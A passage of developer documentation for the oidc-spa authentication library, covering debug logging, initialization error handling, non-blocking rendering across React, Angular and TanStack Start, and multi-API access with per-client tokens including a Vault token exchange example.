    backgroundColor: 'rgba(0,0,0,0.5)',
    backdropFilter: 'blur(10px)',
    display: 'flex',
    justifyContent: 'center',
    alignItems: 'center',
    zIndex: 1000
  }">
    <div>
      <p>Are you still there?</p>
      <p>You will be logged out in {{ oidc.$secondsLeftBeforeAutoLogout() }}</p>
    </div>
  </div>
}
```

{% endcode %}
{% endtab %}
{% endtabs %}

***


# Debug and Error Handling

Gracefully handle authentication issues

What happens if your OIDC server is down or misconfigured?\
This guide explains how to debug your setup during development and handle errors gracefully in production.

***

## Debugging in Development

To better understand what’s going on under the hood, enable debug logs in your configuration.\
This will print detailed information to your browser console about OIDC initialization, token validation, and redirects.

{% tabs %}
{% tab title="Framework Agnostic" %}
{% code title="src/oidc.ts" %}

```typescript
createOidc({ 
  // ...
  debugLogs: true 
});
```

{% endcode %}
{% endtab %}

{% tab title="React" %}
{% code title="src/oidc.ts" %}

```typescript
bootstrapOidc({
  // ...
  debugLogs: true
});
```

{% endcode %}
{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.config.ts" %}

```typescript
Oidc.provide({
  // ...
  debugLogs: true
});
```

{% endcode %}
{% endtab %}
{% endtabs %}

Once enabled, make sure to check **"Preserve Log"** in your browser’s console options so the logs aren’t cleared during redirects.

Here’s a common example:\
If you see a message like this in the console, it usually means your **Valid Redirect URIs** list in your IdP configuration is incomplete:

<figure><img src="/files/w9en1ngjHtnjrmpCH7h9" alt="Console showing missing redirect URI error"><figcaption></figcaption></figure>

In this case, simply add `http://localhost:3000/` (or the appropriate URL for your environment) to your list of valid redirect URIs in the IdP settings.

***

## Gracefully Handling Errors in Production

{% tabs %}
{% tab title="My App doesn't have AutoLogin enabled" %}
{% content-ref url="/pages/3ihTpAXj8fpQE6T3N8Mf" %}
[Error Handling - No AutoLogin](/v9/features/error-management/error-handling-no-autologin)
{% endcontent-ref %}
{% endtab %}

{% tab title="My App has AutoLogin enabled" %}
{% content-ref url="/pages/NpMDaypbUoQjAqBEbyY0" %}
[Error Handling - With AutoLogin](/v9/features/error-management/error-handling-with-autologin)
{% endcontent-ref %}
{% endtab %}
{% endtabs %}


# Error Handling - No AutoLogin

{% hint style="info" %}
This guide only apply if you do **not** have [Auto Login](/v9/features/auto-login) enabled.\
If you have Auto Login enabled follow [this guide instead](/v9/features/error-management/error-handling-with-autologin).
{% endhint %}

If oidc-spa fails to initialize (because of a **misconfiguration** or because the **authorization server is unavailable**), your app will load with the user state **not logged in** (`oidc.isUserLoggedIn === false`).\
The goal is to let users browse public pages even when authentication cannot start.

If, in this state, the user clicks a “Log in” button or navigates to a page that requires authentication, by default oidc-spa will fire this alert:

> Authentication is currently unavailable. Please try again later.

You can customize this behavior (toast, inline banner, maintenance page, retry, etc.) or surface an error page if that fits your UX.

{% hint style="info" %}
Use `initializationError.isAuthServerLikelyDown` to distinguish a temporary outage from a misconfiguration.\
`initializationError.message` is a **developer-oriented** diagnostic with the likely cause and fix; do **not** show it to end users.
{% endhint %}

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createOidc } from "oidc-spa/core";

const oidc = await createOidc(...);

if( !oidc.isUserLoggedIn ){
    // User isn’t logged in: allow the app to render public pages and stop here.
    return;
}

if( oidc.initializationError ){

    // Helps you distinguish a misconfiguration from a temporary auth-server outage.
    console.log(oidc.initializationError.isAuthServerLikelyDown);
    
    // Developer-only diagnostic with likely cause and fix.
    // Do not display this to end users.
    console.log(initializationError.message);
    
    const handleLoginClick = ()=> {
    
        if( oidc.initializationError ){
            // Developer note: keep this user-facing message short and neutral.
            alert("Can't login now, try again later");
            return;
        }
        
        oidc.login(...);
    
    };
}
```

{% endtab %}

{% tab title="React" %}

```tsx
import { useOidc } from "~/oidc";
import { useEffect } from "react";

function AuthButtons() {

    const { isUserLoggedIn, login, logout, initializationError } = useOidc();

    useEffect(() => {
        if (initializationError) {
            // Helps distinguish misconfiguration vs. temporary auth-server outage.
            console.log(initializationError.isAuthServerLikelyDown);
        
            // Developer-only diagnostic with likely cause and fix.
            // Do not display this to end users.
            console.log(initializationError.message);
        }
    }, []);

    if (isUserLoggedIn) {
        return <button onClick={()=> logout({ redirectTo: "home" })}>Logout</button>;
    }

    return (
        <button onClick={() => {

            if (initializationError) {
                // Keep the UX calm and actionable.
                alert("Can't login now, try again later")
                return;
            }

            login({ ... });

        }}>
            Login
        </button>
    );

}
```

{% endtab %}

{% tab title="Angular" %}

<pre class="language-tsx" data-title="src/app/app.ts"><code class="lang-tsx">@Component({
  selector: 'app-root',
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);

  constructor() {
<strong>    if (!this.oidc.isUserLoggedIn &#x26;&#x26; this.oidc.initializationError) {
</strong><strong>      const { initializationError } = this.oidc;
</strong><strong>
</strong><strong>      // Helps distinguish a misconfiguration from a temporary auth-server outage.
</strong><strong>      console.log(initializationError.isAuthServerLikelyDown);
</strong><strong>
</strong><strong>      // Developer-only diagnostic with the likely cause and fix.
</strong><strong>      // Do not display this to end users.
</strong><strong>      console.log(initializationError.message);
</strong>    }
  }

<strong>  login() {
</strong><strong>    if (this.oidc.isUserLoggedIn) {
</strong><strong>      throw new Error('Control flow error: The user is already logged in');
</strong><strong>    }
</strong><strong>
</strong><strong>    if (this.oidc.initializationError) {
</strong><strong>      // Keep the UX calm and actionable.
</strong><strong>      alert("Can't login now, try again later");
</strong><strong>      return;
</strong><strong>    }
</strong><strong>
</strong><strong>    return this.oidc.login();
</strong><strong>  }
</strong>
}
</code></pre>

{% endtab %}
{% endtabs %}


# Error Handling - With AutoLogin

{% hint style="info" %}
This guide only applies if you have enabled [Auto Login](/v9/features/auto-login).\
If you do **not** have Auto Login enabled, follow [this guide instead](/v9/features/error-management/error-handling-no-autologin).
{% endhint %}

Here is how you can gracefully handle oidc initialization errors: &#x20;

{% tabs %}
{% tab title="Framework Agnostic" %}

```typescript
import { createOidc, type OidcInitializationError } from "oidc-spa/core";

const oidc = await createOidc({
    // ...
    autoLogin: true
})
// In autoLogin: false, createOidc never throws.
// In autoLogin: true, it can throw — but only OidcInitializationError —
// so you can safely narrow/cast here.
.catch(error => error as OidcInitializationError);

if( oidc instanceof Error ){

    const oidcInitializationError = oidc;
    
    // Use this to distinguish a misconfiguration from a temporary auth-server outage.
    // NOTE: below references should use `oidcInitializationError`.
    console.log(initializationError.isAuthServerLikelyDown);
    
    // Developer-only diagnostic with likely cause and fix.
    // Do not display this to end users.
    console.log(initializationError.message);
    
    alert("Our auth is down, sorry :(");
    
    // Halt the app in a typed-safe way (nothing renders until you decide otherwise).
    await Promise<never>(()=>{});
}
```

{% endtab %}

{% tab title="TanStack Start" %}

<pre class="language-tsx" data-title="src/routes/__root.tsx"><code class="lang-tsx">import { HeadContent, Scripts, createRootRoute } from "@tanstack/react-router";

import Header from "@/components/Header";
import { AutoLogoutWarningOverlay } from "@/components/AutoLogoutWarningOverlay";
<strong>import { useOidc } from "@/oidc";
</strong><strong>import type { OidcInitializationError } from "oidc-spa/core";
</strong>
export const Route = createRootRoute({
    // ...
    shellComponent: RootDocument
});

function RootDocument({ children }: { children: React.ReactNode }) {

<strong>    const { oidcInitializationError } = useOidc();
</strong>
    return (
        &#x3C;html lang="en">
            &#x3C;head>
                &#x3C;HeadContent />
            &#x3C;/head>
            &#x3C;body>
                &#x3C;div className="min-h-screen flex flex-col">
                    &#x3C;Header />
                    &#x3C;main className="flex flex-1 flex-col">
<strong>                        {oidcInitializationError ? (
</strong><strong>                            &#x3C;OidcErrorComponent oidcInitializationError={oidcInitializationError} />
</strong><strong>                        ) : (
</strong>                            children
<strong>                        )}
</strong>                    &#x3C;/main>
                &#x3C;/div>
                &#x3C;AutoLogoutWarningOverlay />
                &#x3C;Scripts />
            &#x3C;/body>
        &#x3C;/html>
    );
}

<strong>function OidcErrorComponent(props: { 
</strong><strong>    oidcInitializationError: OidcInitializationError;
</strong><strong>}){
</strong><strong>    const { oidcInitializationError } = props;
</strong><strong>    
</strong><strong>    // Distinguish misconfiguration vs. temporary auth-server outage.
</strong><strong>    console.log(oidcInitializationError.isAuthServerLikelyDown);
</strong><strong>
</strong><strong>    // Developer-only diagnostic with likely cause and fix.
</strong><strong>    // Do not display this to end users.
</strong><strong>    console.log(oidcInitializationError.message);
</strong><strong>
</strong><strong>    return &#x3C;h1>Our auth is down, sorry&#x3C;/h1>;
</strong><strong>    
</strong><strong>}
</strong>
</code></pre>

{% endtab %}

{% tab title="React SPAs" %}

<pre class="language-typescript" data-title="src/oidc.ts"><code class="lang-typescript">import { oidcSpa } from "oidc-spa/react-spa";

export const {
    bootstrapOidc,
    useOidc,
    getOidc,
    OidcInitializationGate,
<strong>    OidcInitializationErrorGate
</strong>} = oidcSpa
    .withExpectedDecodedIdTokenShape({ /* ... */ }),
    .withAutoLogin()
    .createUtils();
</code></pre>

<pre class="language-tsx"><code class="lang-tsx">import React from "react";
import ReactDOM from "react-dom/client";
import { App } from "./App";
import { 
    OidcInitializationGate, 
<strong>    OidcInitializationErrorGate 
</strong>} from "~/oidc";
import type { OidcInitializationError } from "oidc-spa/core";

ReactDOM.createRoot(document.getElementById("root")!).render(
    &#x3C;React.StrictMode>
        &#x3C;OidcInitializationGate>
<strong>            &#x3C;OidcInitializationErrorGate errorComponent={OidcErrorComponent} >
</strong>                &#x3C;App />
<strong>            &#x3C;/OidcInitializationErrorGate>
</strong>        &#x3C;/OidcInitializationGate>
    &#x3C;/React.StrictMode>
);

<strong>function OidcErrorComponent(props: { 
</strong><strong>    oidcInitializationError: OidcInitializationError;
</strong><strong>}){
</strong><strong>    const { oidcInitializationError } = props;
</strong><strong>    
</strong><strong>    // Distinguish misconfiguration vs. temporary auth-server outage.
</strong><strong>    console.log(oidcInitializationError.isAuthServerLikelyDown);
</strong>
<strong>    // Developer-only diagnostic with likely cause and fix.
</strong><strong>    // Do not display this to end users.
</strong><strong>    console.log(oidcInitializationError.message);
</strong>
<strong>    return &#x3C;h1>Our auth is down, sorry&#x3C;/h1>;
</strong><strong>    
</strong><strong>}
</strong></code></pre>

{% endtab %}

{% tab title="Angular" %}
{% code title="src/app/app.html" %}

```html
@if (oidc.initializationError) {
<h1>Our Auth is down, sorry :(</h1>
}@else{
<!-- Your app -->
}
```

{% endcode %}

<pre class="language-typescript"><code class="lang-typescript">@Component({
  selector: 'app-root',
  imports: [RouterOutlet, RouterLink, RouterLinkActive],
  templateUrl: './app.html',
})
export class App {
  oidc = inject(Oidc);

  constructor(){

<strong>    if( this.oidc.initializationError ){
</strong>
<strong>      const { initializationError } = this.oidc;
</strong>
<strong>      // Distinguish a misconfiguration from a temporary auth-server outage.
</strong><strong>      console.log(initializationError.isAuthServerLikelyDown);
</strong>
<strong>      // Developer-only diagnostic with likely cause and fix.
</strong><strong>      // Do not display this to end users.
</strong><strong>      console.log(initializationError.message);
</strong>
<strong>    }
</strong>
  }
}
</code></pre>

{% endtab %}
{% endtabs %}


# Non Blocking Rendering

This section explains how to configure your application so it can begin rendering before the user’s authentication state is fully determined.

With this setup, the initial UI appears immediately, and authentication-aware components are rendered a moment later once the auth state is resolved. The result looks like this video:

{% embed url="<https://www.youtube.com/watch?v=t1qfU_GeTM4>" %}

{% tabs %}
{% tab title="React SPAs" %}

### Default: blocking rendering (simplest)

<pre class="language-tsx" data-title="src/main.tsx"><code class="lang-tsx">import React from "react";
import ReactDOM from "react-dom/client";
import { App } from "./App";
<strong>import { OidcInitializationGate } from "~/oidc";
</strong>

ReactDOM.createRoot(document.getElementById("root")!).render(
    &#x3C;React.StrictMode>
<strong>        &#x3C;OidcInitializationGate>
</strong>            &#x3C;App />
<strong>        &#x3C;/OidcInitializationGate>
</strong>    &#x3C;/React.StrictMode>
);
</code></pre>

By default, this setup **defers rendering your entire app** until `bootstrapOidc()` has resolved, in other words, until oidc-spa has contacted your IdP and determined whether the user currently has an active session.

This is often the **simplest and safest** choice:

* You don’t have to think about whether the auth state has settled.
* There’s no risk of layout shifts.

You just need to make sure to at least [set the background color early to avoid white flashes](https://github.com/keycloakify/oidc-spa/blob/c39b0fb70a576e62602d99e9ef86211532de1e35/examples/react-router-declarative/src/index.css#L12).

***

### Faster first paint: non-blocking rendering

However, for **optimal performance**, you can start rendering *before* the authentication state is resolved, letting the page appear instantly, while auth-aware components hydrate a few milliseconds later.

For example:

{% embed url="<https://youtu.be/t1qfU_GeTM4?si=xrbRvl9dJQS9xccJ>" %}

In this short demo, the homepage renders immediately, and components depending on authentication appear shortly after the session check completes.

You can achieve this simply by moving `<OidcInitializationGate />` closer to the components that call `useOidc()`:

First, you need to remove the root OidcInitializationGate:

{% code title="src/main.tsx" %}

```diff
 import React from "react";
 import ReactDOM from "react-dom/client";
 import { BrowserRouter } from "react-router";
 import { App } from "./App";
-import { OidcInitializationGate } from "~/oidc";
 import "./index.css";

 ReactDOM.createRoot(document.getElementById("root")!).render(
     <React.StrictMode>
-         <OidcInitializationGate>
             <BrowserRouter>
                 <App />
             </BrowserRouter>
-         </OidcInitializationGate>
     </React.StrictMode>
 );
```

{% endcode %}

Then wrap all the components that call the useOidc() hook without assertion, into `<OidcInitializationGate />` or `<Suspense />`:

{% hint style="warning" %}
Don't forget `<AutoLogoutWarningOverlay />`! If you forget to wrap a single component that call useOidc(), you're all app will suspend. &#x20;
{% endhint %}

{% hint style="success" %}
The components that call useOidc({ assert: "..." }) do **not** need to be wrapped into `OidcInitializationGate`! If you are able to make an assertion, the auth state has been established already and those calls will never suspend!
{% endhint %}

<pre class="language-tsx" data-title="src/components/Header.tsx"><code class="lang-tsx">import { Suspense } from "react";
import { 
    useOidc, 
<strong>    OidcInitializationGate 
</strong>} from "~/oidc";

export function Header() {
    return (
        &#x3C;header>
            {/* ... */}
<strong>            &#x3C;OidcInitializationGate fallback={&#x3C;Spinner />}>
</strong>                &#x3C;AuthButtons />
<strong>            &#x3C;/OidcInitializationGate>
</strong>
<strong>            {/* OR */}
</strong>
<strong>            {/*
</strong>            &#x3C;Suspense fallback={&#x3C;Spinner />}>
                &#x3C;AuthButtons />
            &#x3C;/Suspense>
<strong>            */}
</strong>
        &#x3C;/header>
    );
}

function AuthButtons() {
    const { isUserLoggedIn } = useOidc();

    return (
        &#x3C;div className="animate-fade-in">
            {isUserLoggedIn ? &#x3C;LoggedInAuthButtons /> : &#x3C;NotLoggedInAuthButtons />}
        &#x3C;/div>
    );
}
</code></pre>

***

### Using React’s built-in Suspense

You can use React’s built-in `<Suspense />` instead of `<OidcInitializationGate />`.\
This is often even better, as it lets you define a unified fallback for all your app’s asynchronous operations.

When called before the auth state is ready, `useOidc()` throws a Promise, which React will catch using the nearest Suspense boundary.

This means you **must** wrap any component that calls `useOidc()` in either `<OidcInitializationGate />` or `<Suspense />`.\
If you don’t, your entire app will suspend.

***

### Only if you are using `withLoginEnforced()`

Consider this:

<pre class="language-tsx" data-title="src/pages/Protected.tsx"><code class="lang-tsx">import { withLoginEnforced } from "~/oidc";

<strong>// This component can suspend when rendered (like a lazy component would)
</strong><strong>// You must define a suspense boundary around it (or use OidcInitializationGate).
</strong>const Protected = withLoginEnforced(() => {
    return &#x3C;div>{/* ... */}&#x3C;/div>;
});

export default Protected;
</code></pre>

Example:

<pre class="language-tsx" data-title="src/App.tsx"><code class="lang-tsx">import { lazy, Suspense } from "react";
import { Navigate, Route, Routes } from "react-router";
import { AutoLogoutWarningOverlay } from "./components/AutoLogoutWarningOverlay";
import { Header } from "./components/Header";
import { Home } from "./pages/Home";
const Protected = lazy(() => import("./pages/Protected"));
const AdminOnly = lazy(() => import("./pages/AdminOnly"));

export function App() {
    return (
        &#x3C;>
            &#x3C;Header />
            &#x3C;main>
<strong>                &#x3C;Suspense fallback={&#x3C;Spinner />}>
</strong>                    &#x3C;Routes>
                        &#x3C;Route index element={&#x3C;Home />} />
                        &#x3C;Route path="protected" element={&#x3C;Protected />} />
                        &#x3C;Route path="admin-only" element={&#x3C;AdminOnly />} />
                        &#x3C;Route path="*" element={&#x3C;Navigate to="/" replace />} />
                    &#x3C;/Routes>
<strong>                &#x3C;/Suspense>
</strong>            &#x3C;/main>
            &#x3C;Suspense>
                &#x3C;AutoLogoutWarningOverlay />
            &#x3C;/Suspense>
        &#x3C;/>
    );
}
</code></pre>

With route components like:

***

### TL;DR

* `<OidcInitializationGate />` at the root: **simpler mental model**, no layout shift.
* `<Suspense />` or `<OidcInitializationGate />` near `useOidc()` calls: **faster perceived load**, better user experience.
* Components using `useOidc({ assert: "..." })` do **not** need to be wrapped, they will never suspend.
* If you use `withLoginEnforced()` it need to be wrapped as well.
* Don't forget to wrap `AutoLogoutWarningOverlay`

***

*(In modern browsers, session restoration typically takes under 300 ms, so even full gating often feels instant.)*
{% endtab %}

{% tab title="Angular" %}

### Default: blocking rendering (simplest and safest)

When using the `oidc-spa/angular` adapter, the recommended default is to **let bootstrap wait for OIDC**. \
You do this by using your `Oidc` service and **not** opting out of provider waiting (the default).

**app.config.ts**

<pre class="language-ts"><code class="lang-ts">import { ApplicationConfig } from '@angular/core';
import { provideRouter } from '@angular/router';
import { routes } from './app.routes';
import { Oidc } from './services/oidc.service';

export const appConfig: ApplicationConfig = {
  providers: [
<strong>    // This will NOT resolve until bootstrapOidc() completes.
</strong>    Oidc.provide({
      // ...
    }),
    provideRouter(routes),
  ],
};
</code></pre>

**Oidc service (simple example)**

```ts
import { Injectable } from '@angular/core';
import { AbstractOidcService } from 'oidc-spa/angular';

export type DecodedIdToken = {
  name: string;
  realm_access?: { roles: string[] };
};

@Injectable({ providedIn: 'root' })
export class Oidc extends AbstractOidcService<DecodedIdToken> {
  // providerAwaitsInitialization defaults to true
}
```

With this setup, Angular only renders once `bootstrapOidc()` has completed (the IdP has been contacted and the session state is known).

**Why this is nice**

* You do not think about “is OIDC ready”.
* No layout shifts.
* Tests and SSR behave predictably. (NOTE: SSR in Angular not tested yet)

***

### Faster first paint: non-blocking rendering

For optimal performance, you can start rendering **before** the authentication state is fully resolved, so the page appears instantly and OIDC-aware parts “hydrate” moments later.

Example of what it can look in action:

{% embed url="<https://youtu.be/t1qfU_GeTM4>" %}

Enable this by opting out of provider waiting in your `Oidc` service:

<pre class="language-ts"><code class="lang-ts">// examples/angular-kitchensink/src/app/services/oidc.service.ts
import { Injectable } from '@angular/core';
import { AbstractOidcService } from 'oidc-spa/angular';

@Injectable({ providedIn: 'root' })
export class Oidc extends AbstractOidcService {
  // The provider no longer blocks Angular bootstrap
<strong>  override providerAwaitsInitialization = false;
</strong>
  // ...
}
</code></pre>

**Important:** Once you do this, **you** are responsible for placing “init boundaries” in templates, so parts of the UI that need OIDC only render once it is ready.

#### Gate OIDC-aware UI with `@defer`

Use Angular’s built-in `@defer` with a `@placeholder` for instant paint:

<pre class="language-html"><code class="lang-html">&#x3C;!-- examples/angular-kitchensink/src/app/app.html -->
&#x3C;header>
  &#x3C;span>OIDC-SPA + Angular (Kitchen Sink)&#x3C;/span>

<strong>  @defer (when oidc.prInitialized | async) {
</strong>    &#x3C;!-- Safe to read OIDC values here -->
    @if (oidc.isUserLoggedIn) {
      &#x3C;div>
        &#x3C;span>Hello {{ oidc.$decodedIdToken().name }}&#x3C;/span>
        &#x26;nbsp; &#x3C;button (click)="oidc.logout({ redirectTo: 'home' })">Logout&#x3C;/button>
      &#x3C;/div>
    } @else {
      &#x3C;div>
        &#x3C;button (click)="oidc.login()">Login&#x3C;/button>
        &#x3C;button (click)="
          oidc.login({
            transformUrlBeforeRedirect: keycloakUtils.transformUrlBeforeRedirectForRegister,
          })
        ">
          Register
        &#x3C;/button>
      &#x3C;/div>
    }
<strong>  } @placeholder {
</strong><strong>    &#x3C;span style="line-height: 1.35;">Initializing OIDC...&#x3C;/span>
</strong><strong>  }
</strong>&#x3C;/header>
</code></pre>

Anywhere you read things like `oidc.isUserLoggedIn`, `oidc.$decodedIdToken()`, or values derived from `issuerUri`, put them behind a `@defer (when oidc.prInitialized | async)` (or otherwise guard them) to avoid runtime errors during the brief initialization window.

#### Access helpers lazily to avoid crashes

Because the component can be constructed before OIDC is initialized, compute helpers like `keycloakUtils` **lazily**:

<pre class="language-ts" data-title="src/app/app.ts"><code class="lang-ts">import { Component, inject } from '@angular/core';
import { Oidc } from './services/oidc.service';
import { createKeycloakUtils } from 'oidc-spa/keycloak';

@Component({
  selector: 'app-root',
  templateUrl: './app.html',
  imports: [],
})
export class App {
  oidc = inject(Oidc);

  // Use a getter so we read issuerUri only after init
<strong>  get keycloakUtils() {
</strong><strong>    return createKeycloakUtils({ issuerUri: this.oidc.issuerUri });
</strong><strong>  }
</strong>
  // Example: drive an "Admin only" link state
  get canShowAdminLink(): boolean {
    if (!this.oidc.isUserLoggedIn) return true;
    const roles = this.oidc.$decodedIdToken().realm_access?.roles ?? [];
    return roles.includes('admin');
  }
}
</code></pre>

***

### TL;DR

* **Blocking at bootstrap (default):** `Oidc.provide()` waits for `bootstrapOidc()` before Angular renders. Easiest mental model. No layout shift. Tests and SSR are straightforward.
* **Non-blocking:** set `override providerAwaitsInitialization = false` in your `Oidc` service. Then:
  * Gate auth-aware UI with `@defer (when oidc.prInitialized | async) { ... } @placeholder { ... }`.
  * Access helpers like `keycloakUtils` via a **getter** so you do not touch `issuerUri` before init.
  * Guard overlays or any code that reads OIDC state.
* Choose based on the UX you want. Both modes are supported.

*(In modern browsers, session restoration usually completes in under \~300 ms, so even full gating often feels instant.)*
{% endtab %}

{% tab title="TanStack Start" %}
In TanStack Start, non-blocking rendering is the default, since it's required for server rendering.\
However, if you find the layout shift caused by auth-aware components appearing *after* hydration annoying to handle, you can easily delay rendering your app until the OIDC initialization process has completed:

<pre class="language-tsx" data-title="src/routes/__root.tsx"><code class="lang-tsx">import { HeadContent, Scripts, createRootRoute } from "@tanstack/react-router";
import Header from "@/components/Header";
import { AutoLogoutWarningOverlay } from "@/components/AutoLogoutWarningOverlay";
import appCss from "../styles.css?url";

<strong>import { useOidc } from "@/oidc";
</strong>
export const Route = createRootRoute({
    head: () => ({ /* ... */ }),
    shellComponent: RootDocument
});

function RootDocument({ children }: { children: React.ReactNode }) {
    const { isOidcReady } = useOidc();

    return (
        &#x3C;html lang="en">
            &#x3C;head>
                &#x3C;HeadContent />
            &#x3C;/head>
            &#x3C;body
                className="min-h-screen text-white"
                style={{
                    backgroundColor: "#0f172a",
                    backgroundImage: "linear-gradient(180deg, #0f172a 0%, #1e293b 50%, #0f172a 100%)"
                }}
            >
                &#x3C;div className="min-h-screen flex flex-col">
<strong>                    {isOidcReady &#x26;&#x26; (
</strong><strong>                        &#x3C;>
</strong>                            &#x3C;Header />
                            &#x3C;main className="flex flex-1 flex-col">
                                &#x3C;div className="flex flex-1 flex-col">{children}&#x3C;/div>
                            &#x3C;/main>
<strong>                        &#x3C;/>
</strong><strong>                    )}
</strong>                &#x3C;/div>
                &#x3C;AutoLogoutWarningOverlay />
                &#x3C;Scripts />
            &#x3C;/body>
        &#x3C;/html>
    );
}
</code></pre>

Then, you don't need to test anymore if oidc is ready:

```diff
 function AuthButtons(props: { className?: string }) {
     const { className } = props;
-    const { isOidcReady, isUserLoggedIn } = useOidc();
+    const { isUserLoggedIn } = useOidc({ assert: "ready" });

-    if (!isOidcReady) {
-        return null;
-    }

     return (
         <div className={["opacity-0 animate-[fadeIn_0.2s_ease-in_forwards]", className].join(" ")}>
             {isUserLoggedIn ? <LoggedInAuthButton /> : <NotLoggedInAuthButton />}
         </div>
     );
 }
 
 function Greeting() {
-   const { isOidcReady, isUserLoggedIn, decodedIdToken } = useOidc();
+   const { isOidcReady, isUserLoggedIn, decodedIdToken } = useOidc({ assert: "ready" });

-   if (!isOidcReady) {
-       return <>&nbsp;</>;
-   }

    return (
        <span className="opacity-0 animate-[fadeIn_0.2s_ease-in_forwards]">
            {isUserLoggedIn ? `Welcome back ${decodedIdToken.name}` : `Hello anonymous visitor!`}
        </span>
    );
}
```

{% endtab %}
{% endtabs %}


# Talking to multiple APIs (with different access tokens)

{% hint style="info" %}
TL;DR

Most apps only need one access token for their backend API.

The rest of this page explains how to talk to multiple APIs securely (Keycloak-style) using oidc-spa.
{% endhint %}

With **oidc-spa**, your **frontend application is the OIDC client**. Your **backend** is **only** a resource server that you call by attaching an `Authorization: Bearer <access_token>` header. This is different from models like [Auth.js](https://authjs.dev/), where the server component constitutes the application in the OpenID Connect model.

This setup works well as long as your app talks to a **single** resource server.

In frontend-centric apps, you often need to call **several** APIs (resource servers), for example:

* Your own REST API
* Amazon S3
* HashiCorp Vault
* …

You can proxy those calls through your backend using a service account. That is a valid approach, but many architectures prefer to keep the backend light and stateless, and to concentrate logic in the frontend to lower infra cost and improve responsiveness.

The challenge is that you should **not** reuse a single access token across different APIs. Even if it “works,” it is a poor security posture and will usually fail in practice because claims differ per API.

### Why a single token is not enough

Access tokens carry **claims** that describe who the user is, who the token is for, and what permissions it grants.

Example:

```json
{
  "aud": "https://api1.example.com",
  "sub": "xxxxxx",
  "groups": ["staff"]
}
```

* `aud` (audience) identifies the **intended resource server**.
* `sub` is the **user identifier**.
* Other claims (such as `groups`, `scope`, or custom claims) express **authorization details**.

Most OAuth-protected APIs require a specific **audience** and expect claims to be **formatted** in a particular way. These expectations often differ between APIs.

### The right approach

Do not send the same access token to every resource server. Instead, configure your IdP so the client can obtain **distinct access tokens** for each target API, each token crafted exactly as that API expects.

#### Ideal world: Resource Indicators (RFC 8707)

In the ideal case, oidc-spa would support:

```ts
getAccessToken({ resource: "https://api1.example.com" })
```

Your IdP would let you declare APIs independently and authorize which OIDC clients can request tokens for each API. Some providers like Auth0 or Microsoft EntraID support this pattern but keycloak do not and since it's the de facto standard OpenID Connect server, we intentionally align with Keycloak’s capabilities. We therefore do not support features that Keycloak does not support as of today. This avoids exposing APIs that would not work for most deployments.

#### Today with Keycloak

Keycloak [does **not** yet implement RFC 8707](https://github.com/keycloak/keycloak/discussions/35743). In Keycloak’s interpretation, when you declare an OIDC client you effectively couple **an application** with **a resource server**. To talk to multiple resource servers, you declare **multiple clients** in the same realm, all sharing your app’s **Valid Redirect URI**.

Example:

* `clientId: "myapp"`, valid redirect URI: `https://myapp.my-company.com/`
* `clientId: "myapp-vault"`, valid redirect URI: `https://myapp.my-company.com/`
* `clientId: "myapp-s3"`, valid redirect URI: `https://myapp.my-company.com/`

For each client, configure **protocol mappers** so the issued access token matches the target API’s expectations.

This limitation means that even if your IdP (Auth0, Clerk...) supports declaring APIs independently, you will still set things up this way to work with oidc-spa today.

### Using multiple clients in oidc-spa

Once your clients exist, instantiate them side by side. oidc-spa fully supports **multi-client** usage.

Below is an example “My Secrets” page that exchanges an OIDC access token for a **Vault token** and then fetches the caller’s secrets. The example uses React, but the important parts use `oidc-spa/core`, so you can adapt it to your framework of choice.

{% code title="src/oidc.ts" %}

```typescript
import { oidcSpa } from "oidc-spa/react-spa";

export const { bootstrapOidc, useOidc, getOidc, enforceLogin } = oidcSpa.createUtils();

bootstrapOidc({
  implementation: "real",
  issuerUri: "https://auth.my-company.com/realms/myrealm",
  clientId: "myapp",
  // sessionRestorationMethod: "iframe" // See note below
});
```

{% endcode %}

{% code title="app/routes/my-secrets.tsx" %}

```tsx
import { getOidc, enforceLogin } from "~/oidc";
// Use the core API directly because we do not need framework helpers
// only to request an access token.
import { createOidc } from "oidc-spa/core";

let cache: { oidcAccessToken_vault: string; vaultToken: string } | undefined;

export async function clientLoader(params: Route.ClientLoaderArgs) {
  // Ensure the user session is already established with the IdP.
  await enforceLogin(params);

  // Initialize the Vault-specific OIDC client.
  // Instances are memoized per issuer/client pair.
  const { getTokens: getOidcTokens_vault } = await createOidc({
    issuerUri: (await getOidc()).issuerUri, // reuse the same realm
    clientId: "myapp-vault",                // dedicated client for Vault
    autoLogin: true,                        // silent login through shared realm session
    // sessionRestorationMethod: "iframe"
  });

  // Retrieve the access token issued for the Vault client.
  const { accessToken: oidcAccessToken_vault } = await getOidcTokens_vault();

  const vaultBaseUrl = "https://vault.example.com";

  // Exchange the OIDC access token for a Vault token.
  const vaultToken = await (async () => {
    if (cache?.oidcAccessToken_vault === oidcAccessToken_vault) {
      return cache.vaultToken;
    }

    const vaultToken = await fetch(`${vaultBaseUrl}/v1/auth/jwt/login`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        role: "web-app",
        jwt: oidcAccessToken_vault
      })
    })
      .then(r => r.json())
      .then(o => o.auth.client_token as string);

    cache = { oidcAccessToken_vault, vaultToken };
    return vaultToken;
  })();

  // Fetch the caller’s secret values using the Vault token.
  const userSecrets = await fetch(`${vaultBaseUrl}/v1/secret/data/users/me`, {
    headers: { "X-Vault-Token": vaultToken }
  })
    .then(r => r.json())
    .then(o => o.data.data as Record<string, string>);

  return { userSecrets };
}

export default function MySecrets() {
  const { userSecrets } = useLoaderData<typeof clientLoader>();

  return (
    <dl>
      {Object.entries(userSecrets).map(([key, value]) => (
        <div key={key} className="space-y-1">
          <dt>{key}</dt>
          <dd>{value}</dd>
        </div>
      ))}
    </dl>
  );
}
```

{% endcode %}

That is all you need for multi-API access with per-API tokens.

### Development and security caveats

The first time you call `createOidc()` you may get a **full page redirect** if silent session restoration via iframe is not available. This is the default on `localhost` in oidc-spa.

Also note that, if you configure more than one client **AND** iframe session restoration is not possible, oidc-spa will **persist tokens in `sessionStorage`** to avoid redirect loops. This relaxes the default security guarantees.

To remediate:

* (For production) Put your IdP authorization endpoint on the **same parent domain** as your app whenever possible.
* For a better dev experience allow third-party cookies in your local server and explicitely set `sessionRestorationMethod: "iframe"`, by default it's set to `"auto"` mening that it will only use iframe if it knows that cookies won't be blocked, and oidc-spa can't know that in localhost.

<figure><img src="/files/2zDb1i9ZRL937X9plzTf" alt="" width="348"><figcaption></figcaption></figure>

More info and detailed instructions:

